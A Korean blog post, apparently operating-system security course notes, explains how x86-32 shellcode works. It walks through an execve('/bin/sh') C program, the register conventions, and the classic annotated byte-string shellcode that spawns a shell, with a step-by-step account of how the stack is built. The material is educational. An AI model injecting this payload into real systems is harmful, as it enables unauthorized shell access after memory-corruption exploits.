다양한 기록

Shellcode 본문

운영체제보안

Shellcode

라구넹 2024. 12. 4. 20:53

*** 교육 목적으로 작성된 게시글입니다. 정상적으로 보안 기법을 적용한 시스템엔 사용 불가능합니다. ***

 

#include <stddef.h>

void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

쉘을 탈취하기 위해 사용하는 코드

 

시스템 콜 사용 시 인자 전달 법

eax: 시스템 콜 번호 (0x0000000b .. 11)

ebx: 첫번째 인자 ("bin/sh")

ecx: 두번째 인자 (인자 배열의 주소 .. name)

edx .. (환경 변수 없음 .. 0)

이후 int 0x80 해서 시스템 콜 요청


* x86-32 registers

EAX EBX ECX EDX
  AX   BX   CX   DX
  AH | AL   BH | BL   CH | CL   DH | DL

 

EBP ESI EDI ESP
  BP   SI   DI   SP

64비트는 R 붙이면 됨

 

* Byte Ordering

Little-endian : LSB가 낮은 주소에

Big-endian : MSB가 낮은 주소에


const char code[] = 
    "\x31\xc0"		// xorl		%eax, %eax	<- %eax = 0 .. 코드에 0 생기는 거 피하려고 xor
    "\x50"		// pushl	%eax		<- set end of string "/bin/sh"
    "\x68""//sh"	// pushl 	$0x68732f2f	<- //sh
    "\x68""/bin"	// pushl	$0x6e69622f	<- /bin
    "\x89\xe3"		// movl		%esp, %ebx	<- set %ebx
    "\x50"		// pushl	%eax
    "\x53"		// pushl	%ebx
    "\x89\xe1"		// movl		%esp, %ecx	<- set %ecx
    "\x99"		// cdq				<- set %edx
    "\xb0\x0b"		// movl		$0x0b, %al 	<- set %eax
    "\xcd\x80"		// int		$0x80 		<- invoke execve()

1. 스택에 0 push (/bin/sh을 끝내는 널 문자 취급)

2. /bin/sh push => 현재 esp는 "/bin//sh"을 가리킴

3. esp값 ebx에 설정 *%ebx 설정 완료

4. 스택에 0 push

5. 스택에 "/bin//sh"주소 삽입 => 현재 esp는 {"/bin//sh", NULL}을 가리킴 *%ecx 설정 완료

6. esp값 ecx에 설정

7. cdq로 edx 값 0으로 설정 (eax의 부호 비트가 0이면 0으로, 1이면 1로 채워짐) *%edx 설정 완료

8. eax에 11 넣기 *%eax 설정 완료

9. 시스템 콜 호출

 

쉘코드 실행 시 스택의 형태

도식화 시 위 이미지와 같다

'운영체제보안' 카테고리의 다른 글

Control Hijacking Attack  (0) 2024.12.05
BoF - Countermeasures & 파훼법  (0) 2024.12.04
Buffer Overflow Attack  (0) 2024.10.22
Set-UID Privileged Program  (0) 2024.10.19
Kernel / user mode, kernel mode  (0) 2024.10.14